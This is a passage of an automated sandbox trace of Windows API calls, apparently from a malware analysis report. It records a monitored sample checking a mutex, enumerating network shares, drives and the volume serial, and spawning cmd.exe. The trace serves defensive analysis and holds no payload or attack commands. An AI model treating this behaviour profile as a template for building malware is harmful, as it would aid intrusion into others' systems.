0x3b0000 [0101.233] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0101.233] GetProcessHeap () returned 0x3b0000 [0101.233] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0101.233] GetProcessHeap () returned 0x3b0000 [0101.233] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0101.233] GetProcessHeap () returned 0x3b0000 [0101.233] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0101.234] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x174 [0101.234] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0101.234] CloseHandle (hObject=0x174) returned 1 [0101.234] GetProcessHeap () returned 0x3b0000 [0101.234] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0101.234] GetProcessHeap () returned 0x3b0000 [0101.234] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0101.234] Sleep (dwMilliseconds=0x3e8) Thread: id = 6 os_tid = 0xaac [0066.976] GetProcessHeap () returned 0x3b0000 [0066.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x21a) returned 0x3d0f30 [0066.976] GetProcessHeap () returned 0x3b0000 [0066.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3d1158 [0066.976] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xfc [0066.976] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x100 [0066.976] GetComputerNameW (in: lpBuffer=0x3d0f40, nSize=0x205f888 | out: lpBuffer="XDUWTFONO", nSize=0x205f888) returned 1 [0066.976] GetProcessHeap () returned 0x3b0000 [0066.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0x3d1188 [0066.976] GetProcessHeap () returned 0x3b0000 [0066.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4000) returned 0x3d11b8 [0066.976] GetProcessHeap () returned 0x3b0000 [0066.976] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10000) returned 0x3d51c0 [0066.977] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x205f840 | out: lphEnum=0x205f840*=0x3cb0f0) returned 0x0 [0069.524] WNetEnumResourceW (in: hEnum=0x3cb0f0, lpcCount=0x205f838, lpBuffer=0x3d11b8, lpBufferSize=0x205f844 | out: lpcCount=0x205f838, lpBuffer=0x3d11b8, lpBufferSize=0x205f844) returned 0x103 [0069.525] WNetCloseEnum (hEnum=0x3cb0f0) returned 0x0 [0069.525] GetProcessHeap () returned 0x3b0000 [0069.525] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3d11b8 | out: hHeap=0x3b0000) returned 1 [0069.525] GetProcessHeap () returned 0x3b0000 [0069.525] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3d51c0 | out: hHeap=0x3b0000) returned 1 [0069.525] GetProcessHeap () returned 0x3b0000 [0069.525] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4000) returned 0x3ec648 [0069.525] GetProcessHeap () returned 0x3b0000 [0069.525] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10000) returned 0x3d11b8 [0069.525] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x205f828 | out: lphEnum=0x205f828*=0x3cba18) returned 0x0 [0069.525] WNetEnumResourceW (in: hEnum=0x3cba18, lpcCount=0x205f820, lpBuffer=0x3ec648, lpBufferSize=0x205f82c | out: lpcCount=0x205f820, lpBuffer=0x3ec648, lpBufferSize=0x205f82c) returned 0x103 [0069.526] WNetCloseEnum (hEnum=0x3cba18) returned 0x0 [0069.526] GetProcessHeap () returned 0x3b0000 [0069.526] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec648 | out: hHeap=0x3b0000) returned 1 [0069.526] GetProcessHeap () returned 0x3b0000 [0069.526] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3d11b8 | out: hHeap=0x3b0000) returned 1 [0069.526] GetProcessHeap () returned 0x3b0000 [0069.526] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4000) returned 0x3ec648 [0069.526] GetProcessHeap () returned 0x3b0000 [0069.526] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10000) returned 0x3d11b8 [0069.526] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x205f810 | out: lphEnum=0x205f810*=0x3cb0f0) returned 0x0 [0100.392] WNetEnumResourceW (in: hEnum=0x3cb0f0, lpcCount=0x205f808, lpBuffer=0x3ec648, lpBufferSize=0x205f814 | out: lpcCount=0x205f808, lpBuffer=0x3ec648, lpBufferSize=0x205f814) returned 0x0 [0100.392] GetProcessHeap () returned 0x3b0000 [0100.393] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4000) returned 0x3e11c0 [0100.393] GetProcessHeap () returned 0x3b0000 [0100.393] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10000) returned 0x3f0650 [0100.394] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x3ec648, lphEnum=0x205f7d0) Thread: id = 7 os_tid = 0x9f8 [0068.180] GetLogicalDrives () returned 0x4 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c40d8 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3ca768 [0068.181] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x110 [0068.181] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x114 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9de8 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9e10 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c9e38 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ce4f0 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ce4f0 | out: hHeap=0x3b0000) returned 1 [0068.181] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9e10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9e38 | out: hHeap=0x3b0000) returned 1 [0068.181] GetProcessHeap () returned 0x3b0000 [0068.181] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9de8 | out: hHeap=0x3b0000) returned 1 [0068.181] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23ff9ac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23ff9ac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.182] GetProcessHeap () returned 0x3b0000 [0068.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9e10 | out: hHeap=0x3b0000) returned 1 [0068.182] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0068.182] CloseHandle (hObject=0x114) returned 1 [0068.182] CloseHandle (hObject=0x110) returned 1 [0068.182] GetProcessHeap () returned 0x3b0000 [0068.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca768 | out: hHeap=0x3b0000) returned 1 [0068.182] GetProcessHeap () returned 0x3b0000 [0068.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c40d8 | out: hHeap=0x3b0000) returned 1 [0068.182] GetProcessHeap () returned 0x3b0000 [0068.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab60 | out: hHeap=0x3b0000) returned 1 Thread: id = 8 os_tid = 0xb7c [0068.183] GetLogicalDrives () returned 0x4 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9e10 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9de8 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c9e38 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ce4f0 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ce4f0 | out: hHeap=0x3b0000) returned 1 [0068.183] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9de8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9e38 | out: hHeap=0x3b0000) returned 1 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9e10 | out: hHeap=0x3b0000) returned 1 [0068.183] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x256fefc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x256fefc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9de8 | out: hHeap=0x3b0000) returned 1 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c40d8 [0068.183] GetProcessHeap () returned 0x3b0000 [0068.183] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3ca768 [0068.183] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x110 [0068.184] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x114 [0068.184] CloseHandle (hObject=0x114) returned 1 [0068.184] CloseHandle (hObject=0x110) returned 1 [0068.184] GetProcessHeap () returned 0x3b0000 [0068.184] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca768 | out: hHeap=0x3b0000) returned 1 [0068.184] GetProcessHeap () returned 0x3b0000 [0068.184] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c40d8 | out: hHeap=0x3b0000) returned 1 [0068.184] GetProcessHeap () returned 0x3b0000 [0068.184] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb0b0 | out: hHeap=0x3b0000) returned 1 Thread: id = 9 os_tid = 0x598 Thread: id = 10 os_tid = 0x358 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x565e6000" os_pid = "0x25c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa8c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x80c [0079.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30fa50 | out: lpSystemTimeAsFileTime=0x30fa50*(dwLowDateTime=0x997e040, dwHighDateTime=0x1d60ce6)) [0079.671] GetCurrentProcessId () returned 0x25c [0079.671] GetCurrentThreadId () returned 0x80c [0079.671] GetTickCount () returned 0x114c707 [0079.672] QueryPerformanceCounter (in: lpPerformanceCount=0x30fa58 | out: lpPerformanceCount=0x30fa58*=19481865413) returned 1 [0079.673] GetModuleHandleW (lpModuleName=0x0) returned 0x4a560000 [0079.673] __set_app_type (_Type=0x1) [0079.673] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a587810) returned 0x0 [0079.673] __getmainargs (in: _Argc=0x4a5aa608, _Argv=0x4a5aa618, _Env=0x4a5aa610, _DoWildCard=0, _StartInfo=0x4a58e0f4 | out: _Argc=0x4a5aa608, _Argv=0x4a5aa618, _Env=0x4a5aa610) returned 0 [0079.673] GetCurrentThreadId () returned 0x80c [0079.673] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x80c) returned 0x3c [0079.827] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0079.827] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0079.827] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.827] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.827] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f9e8 | out: phkResult=0x30f9e8*=0x0) returned 0x2 [0079.828] VirtualQuery (in: lpAddress=0x30f9d0, lpBuffer=0x30f950, dwLength=0x30 | out: lpBuffer=0x30f950*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.828] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30f950, dwLength=0x30 | out: lpBuffer=0x30f950*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.828] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30f950, dwLength=0x30 | out: lpBuffer=0x30f950*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.828] VirtualQuery (in: lpAddress=0x214000, lpBuffer=0x30f950, dwLength=0x30 | out: lpBuffer=0x30f950*(BaseAddress=0x214000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.828] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30f950, dwLength=0x30 | out: lpBuffer=0x30f950*(BaseAddress=0x310000, AllocationBase=0x310000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.828] GetConsoleOutputCP () returned 0x1b5 [0079.828] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a59bfe0 | out: lpCPInfo=0x4a59bfe0) returned 1 [0079.828] SetConsoleCtrlHandler (HandlerRoutine=0x4a583184, Add=1) returned 1 [0079.829] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.829] SetConsoleMode (hConsoleHandle=0x114, dwMode=0x0) returned 0 [0079.829] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.829] GetConsoleMode (in: hConsoleHandle=0x114, lpMode=0x4a58e194 | out: lpMode=0x4a58e194) returned 0 [0079.829] _get_osfhandle (_FileHandle=0) returned 0x108 [0079.829] GetConsoleMode (in: hConsoleHandle=0x108, lpMode=0x4a58e198 | out: lpMode=0x4a58e198) returned 0 [0079.829] GetEnvironmentStringsW () returned 0x498a60* [0079.829] GetProcessHeap () returned 0x480000 [0079.829] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xa7c) returned 0x4994f0 [0079.829] FreeEnvironmentStringsW (penv=0x498a60) returned 1 [0079.830] GetProcessHeap () returned 0x480000 [0079.830] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x8) returned 0x4988e0 [0079.830] GetEnvironmentStringsW () returned 0x498a60* [0079.830] GetProcessHeap () returned 0x480000 [0079.830] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xa7c) returned 0x499f80 [0079.830] FreeEnvironmentStringsW (penv=0x498a60) returned 1 [0079.830] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e8a8 | out: phkResult=0x30e8a8*=0x44) returned 0x0 [0079.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x0, lpData=0x30e8c0*=0x18, lpcbData=0x30e8a4*=0x1000) returned 0x2 [0079.830] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x1, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x0, lpData=0x30e8c0*=0x1, lpcbData=0x30e8a4*=0x1000) returned 0x2 [0079.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x0, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.830] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x40, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.830] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x40, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.830] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x0, lpData=0x30e8c0*=0x40, lpcbData=0x30e8a4*=0x1000) returned 0x2 [0079.830] RegCloseKey (hKey=0x44) returned 0x0 [0079.831] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e8a8 | out: phkResult=0x30e8a8*=0x44) returned 0x0 [0079.831] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x0, lpData=0x30e8c0*=0x40, lpcbData=0x30e8a4*=0x1000) returned 0x2 [0079.831] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x1, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.831] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x0, lpData=0x30e8c0*=0x1, lpcbData=0x30e8a4*=0x1000) returned 0x2 [0079.831] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x0, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.831] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x9, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.831] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x4, lpData=0x30e8c0*=0x9, lpcbData=0x30e8a4*=0x4) returned 0x0 [0079.831] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e8a0, lpData=0x30e8c0, lpcbData=0x30e8a4*=0x1000 | out: lpType=0x30e8a0*=0x0, lpData=0x30e8c0*=0x9, lpcbData=0x30e8a4*=0x1000) returned 0x2 [0079.831] RegCloseKey (hKey=0x44) returned 0x0 [0079.831] time (in: timer=0x0 | out: timer=0x0) returned 0x5e8c8967 [0079.831] srand (_Seed=0x5e8c8967) [0079.831] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0079.831] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0079.831] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a59c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.831] GetProcessHeap () returned 0x480000 [0079.832] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x218) returned 0x49aa10 [0079.832] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x49aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0079.832] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.832] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.832] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.832] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0079.832] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0079.832] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0079.832] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0079.832] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0079.832] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0079.832] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0079.832] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0079.832] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0079.832] GetProcessHeap () returned 0x480000 [0079.832] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4994f0 | out: hHeap=0x480000) returned 1 [0079.832] GetEnvironmentStringsW () returned 0x498a60* [0079.833] GetProcessHeap () returned 0x480000 [0079.833] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xa94) returned 0x49ac30 [0079.834] FreeEnvironmentStringsW (penv=0x498a60) returned 1 [0079.834] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.834] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.834] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0079.834] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0079.834] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0079.834] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0079.834] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0079.834] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0079.834] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0079.834] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0079.834] GetProcessHeap () returned 0x480000 [0079.834] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x5c) returned 0x49b6d0 [0079.834] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30f6b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.834] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x30f6b0, lpFilePart=0x30f690 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f690*="Desktop") returned 0x25 [0079.834] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.835] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f3c0 | out: lpFindFileData=0x30f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x49b740 [0079.835] FindClose (in: hFindFile=0x49b740 | out: hFindFile=0x49b740) returned 1 [0079.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x30f3c0 | out: lpFindFileData=0x30f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x49b740 [0079.835] FindClose (in: hFindFile=0x49b740 | out: 